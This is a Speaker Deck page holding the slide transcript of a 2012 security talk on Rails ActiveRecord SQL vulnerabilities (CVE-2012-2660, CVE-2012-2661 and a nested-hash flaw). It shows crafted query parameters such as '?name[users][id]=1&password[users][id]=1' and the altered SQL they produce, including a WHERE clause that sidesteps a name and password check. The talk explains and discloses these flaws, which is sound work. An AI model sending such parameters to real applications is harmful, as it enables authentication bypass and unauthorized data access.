Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
"Recent Rails SQL Issues" - 2012
Search
Justin Collins
April 23, 2015
Programming
0
63
"Recent Rails SQL Issues" - 2012
Justin Collins
April 23, 2015
Tweet
Share
More Decks by Justin Collins
See All by Justin Collins
Continuous (Application) Security at DevOps Velocity
presidentbeef
0
130
The Evolution of Rails Security
presidentbeef
1
780
Brakeman RailsConf 2017 Lightning Talk
presidentbeef
0
130
Practical Static Analysis for Continuous Application Security
presidentbeef
0
190
"...But Doesn't Rails Take Care of Security for Me?"
presidentbeef
1
410
Continuous Security with Practical Static Analysis
presidentbeef
1
290
Security Automation at Twitter - Rise of the Machines
presidentbeef
0
220
The World of Rails Security - RailsConf 2015
presidentbeef
8
1.1k
Tales from the Crypt
presidentbeef
1
220
Other Decks in Programming
See All in Programming
Kamal 2 – Get Out of the Cloud
aleksandrov
1
190
Agentic Applications with Symfony
el_stoffel
2
300
Boost Your Performance and Developer Productivity with Jakarta EE 11
ivargrimstad
0
1.6k
アプリを起動せずにアプリを開発して品質と生産性を上げる
ishkawa
0
2.8k
RubyKaigi Dev Meeting 2025
tenderlove
1
150
設計の本質:コード、システム、そして組織へ / The Essence of Design: To Code, Systems, and Organizations
nrslib
4
480
Fiber Scheduler vs. General-Purpose Parallel Client
hayaokimura
1
100
ミリしらMCP勉強会
watany
4
760
Bedrock×MCPで社内ブログ執筆文化を育てたい!
har1101
6
1k
The Efficiency Paradox and How to Save Yourself and the World
hollycummins
0
110
エンジニア未経験が最短で戦力になるためのTips
gokana
0
280
Enterprise Web App. Development (1): Build Tool Training Ver. 5
knakagawa
1
110
Featured
See All Featured
Helping Users Find Their Own Way: Creating Modern Search Experiences
danielanewman
29
2.5k
Thoughts on Productivity
jonyablonski
69
4.6k
The Cost Of JavaScript in 2023
addyosmani
49
7.7k
Optimizing for Happiness
mojombo
377
70k
jQuery: Nuts, Bolts and Bling
dougneiner
63
7.7k
Imperfection Machines: The Place of Print at Facebook
scottboms
267
13k
[RailsConf 2023 Opening Keynote] The Magic of Rails
eileencodes
29
9.4k
How STYLIGHT went responsive
nonsquared
99
5.5k
The Language of Interfaces
destraynor
157
25k
Optimising Largest Contentful Paint
csswizardry
36
3.2k
Creating an realtime collaboration tool: Agile Flush - .NET Oxford
marcduiker
30
2k
Designing Dashboards & Data Visualisations in Web Apps
destraynor
231
53k
Transcript
Rails Vulnerabilities Last Week CVE-2012-2660 CVE-2012-2661
CVE-2012-2660 Allows unexpected “IS NULL” in queries Affects Rails 2.x
and 3.x
ActiveRecord Query unless params[:name].nil? @user = User.where(:name => params[:name]) end
Query Parameters ?name[] {"name"=>[nil]}
ActiveRecord Query unless [nil].nil? @user = User.where(:name => [nil]) end
Resulting SQL SELECT "users".* FROM "users" WHERE "users"."name" IS NULL
CVE-2012-2661 Allows some manipulation of WHERE clause via “dotted” query
keys Affects Rails 3.x
ActiveRecord Query User.where(:name => params[:name])
ActiveRecord Query User.where("users.name" => params[:name])
Query Parameters ?name[users.id]=1 {"name"=>{"users.id"=>"1"}}
ActiveRecord Query User.where(:name => {"users.id" => "1"})
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1
Unreleased Vulnerability Allows some manipulation of WHERE clause via nested
hashes in query values Affects 2.3.x and 3.x
ActiveRecord Query User.where(:name => params[:name], :password => params[:password])
Query Parameters ?name[users][id]=1&password[users][id]=1 {"name"=>{"users"=>{"id"=>"1"}}, "password" =>{"users"=>{"id"=>"1"}}}
ActiveRecord Query User.where( :name => {"users"=>{"id"=>"1"}, :password => {"users"=>{"id"=>"1"} )
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1 AND "users"."id" = 1